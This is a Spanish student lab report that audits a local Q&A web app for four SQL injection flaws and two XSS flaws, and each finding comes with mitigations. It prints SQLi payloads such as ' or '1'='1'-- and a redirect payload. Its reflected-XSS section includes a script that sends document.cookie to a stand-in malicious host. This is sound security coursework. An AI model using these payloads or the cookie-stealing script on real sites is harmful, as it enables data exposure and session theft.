PRÁCTICA 12

Seguridad en la Web

**Grupo 06 – GIW**

**Juan Mas Aguilar**

**Lorenzo De La Paz Suárez**

**Elí Emmanuel Linares Romero**

ÍNDICE

Table of Contents

[1. Vulnerabilidades inyección SQL 3](#_Toc473157938)

[Vulnerabilidad 1.1 3](#_Toc473157939)

[Vulnerabilidad 1.2 4](#_Toc473157940)

[Vulnerabilidad 1.3 5](#_Toc473157941)

[Vulnerabilidad 1.4 7](#_Toc473157942)

[2. Vulnerabilidades XSS persistente 8](#_Toc473157943)

[Vulnerabilidad 2.1 8](#_Toc473157944)

[3. Vulnerabilidades XSS reflejada 9](#_Toc473157945)

[Vulnerabilidad 3.1 9](#_Toc473157946)

[4. Declaración de Autoría e Integridad 11](#_Toc473157947)

# 1. Vulnerabilidades inyección SQL

## Vulnerabilidad 1.1

|  |
| --- |
| INFORME DE VULNERABILIDAD |
| Ruta(s) de la aplicación involucrada(s) |
| http://localhost:8080/search\_question |
| Tipo de vulnerabilidad |
| SQL Injection |
| Situaciones peligrosas o no deseadas que puede provocar |
| Exposición de muchísimos datos de la base de datos. Aunque en este caso sean de carácter público, podrían ser privados. Además, el hecho de no desinfectar esta entrada lo hace una vulnerabilidad con potencial para ser explotada de manera más nociva en versiones futuras de la aplicación. |
| Ejemplo paso a paso de cómo explotar la vulnerabilidad (con capturas de pantalla) |
| Ir por ejemplo a la web que se muestra a continuación y colocar la siguiente declaración SQL:  http://localhost:8080/search\_question?tag=' or '1'='1'--  C:\hlocal\P12 Seguridad en la Web\Capturas de pantalla\BuscadorSQLinjection.png  De igual forma funciona si en el campo de búsqueda de cualquiera de las rutas GET se inserta:  ' or '1'='1'--    Y se oprime "buscar".  Una vez que nos introducimos en la dirección web, podemos comprobar cómo nos ha relevado todos los datos (a excepción del cuerpo de las preguntas) de la tabla Questions, debido a que '/search\_question' no comprueba los datos que le han llegado. |
| Medidas para mitigar la vulnerabilidad |
| 1. Desinfectar la entrada. Ej. MySQLdb.escape\_string(). De esta forma, podemos escapar todos los caracteres problemáticos que puedan comprometer la consulta. 2. Utilizar sentencias SQL preparadas. De esta forma, es menos probable que la consulta SQL sea manipulada. En este caso se podría parametrizar la variable tag: |

## Vulnerabilidad 1.2

|  |
| --- |
| INFORME DE VULNERABILIDAD |
| Ruta(s) de la aplicación involucrada(s) |
| http://localhost:8080/insert\_question |
| Tipo de vulnerabilidad |
| SQL Injection |
| Situaciones peligrosas o no deseadas que puede provocar |
| Esta vulnerabilidad puede provocar la inserción de instrucciones SQL, provocando por ejemplo el borrado de cualquier tabla de la base de datos, modificación de cualquier tabla, estructura de la bdd, etc. |
| Ejemplo paso a paso de cómo explotar la vulnerabilidad (con capturas de pantalla) |
| Colocarse en cualquiera de las rutas siguientes:  http://localhost:8080/show\_all\_questions  http://localhost:8080/show\_question?id=1  Colocar la siguiente instrucción SQL a la hora de crear una pregunta:  C:\hlocal\P12 Seguridad en la Web\Capturas de pantalla\BodySQLinjection.png    También puedes introducir la declaración SQL en los campos Autor, Título o Etiquetas:  C:\hlocal\P12 Seguridad en la Web\Capturas de pantalla\AutorSQLinjection.png  C:\hlocal\P12 Seguridad en la Web\Capturas de pantalla\TituloSQLinjection.png  C:\hlocal\P12 Seguridad en la Web\Capturas de pantalla\EtiquetasSQLinjection.png |
| Medidas para mitigar la vulnerabilidad |
| 1. Desinfectar la entrada. Ej. MySQLdb.escape\_string(). De esta forma, podemos escapar todos los caracteres problemáticos que puedan comprometer la consulta. 2. Al ser ésta sólo una inserción (sólo una consulta SQL), utilizar execute() en lugar de executescript(). Esta última da paso a que se puedan realizar muchas consultas extras que no queremos que se ejecuten. 3. Utilizar sentencias SQL preparadas. De esta forma, es menos probable que la consulta SQL sea manipulada. En este caso se podría parametrizar así: |

## Vulnerabilidad 1.3

|  |
| --- |
| INFORME DE VULNERABILIDAD |
| Ruta(s) de la aplicación involucrada(s) |
| http://localhost:8080/show\_question |
| Tipo de vulnerabilidad |
| SQL Injection |
| Situaciones peligrosas o no deseadas que puede provocar |
| En este caso, al realizar las consultas SQL, las consultas siempre van a tomar la primera pregunta de la tabla Questions y todas las respuestas de la tabla Replies sin importar que no coincidan con la pregunta mostrada. De nuevo, el hecho de no desinfectar esta entrada lo hace una vulnerabilidad con potencial para ser explotada de manera más nociva en versiones futuras de la aplicación. |
| Ejemplo paso a paso de cómo explotar la vulnerabilidad (con capturas de pantalla) |
| Si por ejemplo se accede a la siguiente url: http://localhost:8080/show\_question?id=1  podemos ver que lo normal sea que muestre lo siguiente:    C:\hlocal\P12 Seguridad en la Web\Capturas de pantalla\BuscadorSQLinjection.png  Sin embargo, si se inserta la siguiente url: http://localhost:8080/show\_question?id=31 or '1'='1'  Podemos ver que muestra una pregunta cuyo id no existe (31) y además muestra todas las respuestas de la tabla de Replies: |
| Medidas para mitigar la vulnerabilidad |
| 1. Desinfectar la entrada. Ej. MySQLdb.escape\_string(). De esta forma, podemos escapar todos los caracteres problemáticos que puedan comprometer la consulta. 2. Utilizar sentencias SQL preparadas. De esta forma, es menos probable que la consulta SQL sea manipulada. En este caso se podría parametrizar la variable id: |

## Vulnerabilidad 1.4

|  |
| --- |
| INFORME DE VULNERABILIDAD |
| Ruta(s) de la aplicación involucrada(s) |
| http://localhost:8080/insert\_reply |
| Tipo de vulnerabilidad |
| SQL Injection |
| Situaciones peligrosas o no deseadas que puede provocar |
| Inserción errónea de una respuesta a otra pregunta existente de la tabla de Questions. Además, el hecho de no desinfectar esta entrada lo hace una vulnerabilidad con potencial para ser explotada de manera más nociva en versiones futuras de la aplicación. |
| Ejemplo paso a paso de cómo explotar la vulnerabilidad (con capturas de pantalla) |
| Ir a cualquier ruta http://localhost:8080/show\_question. Por ejemplo:  http://localhost:8080/show\_question?id=3  En la forma para poner una respuesta a la pregunta, escribir el siguiente fragmento de consulta SQL con un id de otra pregunta que también exista:    En este caso el id de la pregunta en la que estamos es 3. Sin embargo al oprimir en Contestar, esta respuesta no aparece en esta pregunta, sino que aparecerá en la pregunta con id 1. |
| Medidas para mitigar la vulnerabilidad |
| 1. Desinfectar la entrada. Ej. MySQLdb.escape\_string(). De esta forma, podemos escapar todos los caracteres problemáticos que puedan comprometer la consulta. 2. Utilizar sentencias SQL preparadas. De esta forma, es menos probable que la consulta SQL sea manipulada. En este caso se podría parametrizar así: |

# 2. Vulnerabilidades XSS persistente

## Vulnerabilidad 2.1

|  |
| --- |
| INFORME DE VULNERABILIDAD |
| Ruta(s) de la aplicación involucrada(s) |
| http://localhost:8080/insert\_question |
| Tipo de vulnerabilidad |
| XSS persistente junto con SQL Injection |
| Situaciones peligrosas o no deseadas que puede provocar |
| Esta vulnerabilidad permite insertar, por ejemplo, scripts como valores en los campos de cualquier tabla. De esta forma, al mostrarse las preguntas o respuestas en los html que regresan las rutas GET, se podría ejecutar el script. Además, esto también altera los valores de la base de datos |
| Ejemplo paso a paso de cómo explotar la vulnerabilidad (con capturas de pantalla) |
| Colocarse en cualquiera de las rutas siguientes:  http://localhost:8080/show\_all\_questions  http://localhost:8080/search\_question?tag=Python  En la forma para insertar una pregunta, poner un script como el siguiente:    Ahora, por cada pregunta que se muestre habrá una alerta que nos diga que hemos sido hackeados: |
| Medidas para mitigar la vulnerabilidad |
| 1. Usar las medidas para mitigar SQL Injection ya mencionadas en la vulnerabilidad 1.2 2. Desinfectar todo el texto que vaya a aparecer en la página HTML generada. Por ejemplo: escapando los caracteres <, >, &, ', " que podrían insertar código html que no es nuestro. |

# 3. Vulnerabilidades XSS reflejada

## Vulnerabilidad 3.1

|  |
| --- |
| INFORME DE VULNERABILIDAD |
| Ruta(s) de la aplicación involucrada(s) |
| http://localhost:8080/search\_question |
| Tipo de vulnerabilidad |
| XSS reflejada |
| Situaciones peligrosas o no deseadas que puede provocar |
| Esta vulnerabilidad permite introducir código html o javascript, provocando el redireccionamiento a webs maliciosas, obtención de datos del usuario como cookies, etc. |
| Ejemplo paso a paso de cómo explotar la vulnerabilidad (con capturas de pantalla) |
| Vamos a cualquier ruta GET de la aplicación e introducimos lo siguiente en “Búsqueda por etiqueta:” :  <META HTTP-EQUIV="REFRESH" CONTENT="5;URL=http://www.google.com">    Aparecerá un resultado como éste:  Y a los 5 segundos la ruta de la aplicación nos redirija a Google. De esta forma, podría redireccionarnos a alguna otra web maliciosa.    Otro ejemplo, introducir lo siguiente:  '--</h2><script>var x=document.createElement("IMG");x.src="http://www.webmaliciosa.com/cookies?cookies="+escape(document.cookie);x.height=50;x.width=50;x.id="hack";document.body.appendChild(x);</script><h2>    Esto acaba de ejecutar un script que introduce una imagen en nuestro html y cuyo campo “src” está tratando de acceder a una web maliciosa que recibe como parámetro nuestras cookies.    Nuestro explorador nos protege, pero, si abrimos la imagen, todas nuestras cookies serán enviadas a esa página web maliciosa. |
| Medidas para mitigar la vulnerabilidad |
| 1. Desinfectar todo el texto que aparecerá en la página HTML generada. Por ejemplo: escapando los caracteres <, >, &, ', " que podrían insertar código html que no es nuestro. |

# 4. Declaración de Autoría e Integridad

Juan Mas Aguilar, Lorenzo De La Paz Suárez y Eli Emmanuel Linares Romero declaramos que esta solución es fruto exclusivamente nuestro trabajo personal. No hemos sido ayudados por ninguna otra persona ni hemos obtenido la solución de fuentes externas, y tampoco hemos compartido nuestra solución con nadie. Declaramos además que no hemos realizado de manera deshonesta ninguna otra actividad que pueda mejorar nuestros resultados ni perjudicar los resultados de los demás.